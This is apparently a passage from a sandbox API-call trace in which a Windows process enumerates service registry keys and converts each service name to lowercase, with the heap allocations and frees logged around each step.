RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0253.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0253.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1e38, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0253.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.336] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.336] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.336] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.337] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0253.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0253.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.337] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.337] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.337] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.337] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0253.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0253.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.337] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.337] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.337] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.337] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0253.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0253.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.337] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.337] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.337] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.337] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0253.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1e38, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0253.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.338] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.338] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.338] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.338] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0253.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0253.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.338] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.338] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.338] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.338] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0253.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1e38, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0253.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.338] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.338] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.338] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.338] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0253.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0253.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.338] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.338] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.338] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.338] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0253.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1e38, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0253.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.339] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.339] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.339] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.339] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0253.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0253.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.339] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.339] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.339] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.339] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0253.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0253.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.339] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.339] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.339] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.339] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0253.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0253.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.340] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0253.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0253.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.340] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0253.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0253.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.340] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0253.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0253.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.340] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0253.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0253.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.341] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.341] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.341] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.341] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0253.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0253.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.341] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.341] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.341] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.341] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0253.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0253.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.341] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.341] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.341] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.341] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0253.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0253.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.342] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.342] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.342] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.342] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0253.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0253.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.342] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.342] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.342] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.342] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0253.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1e38, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", 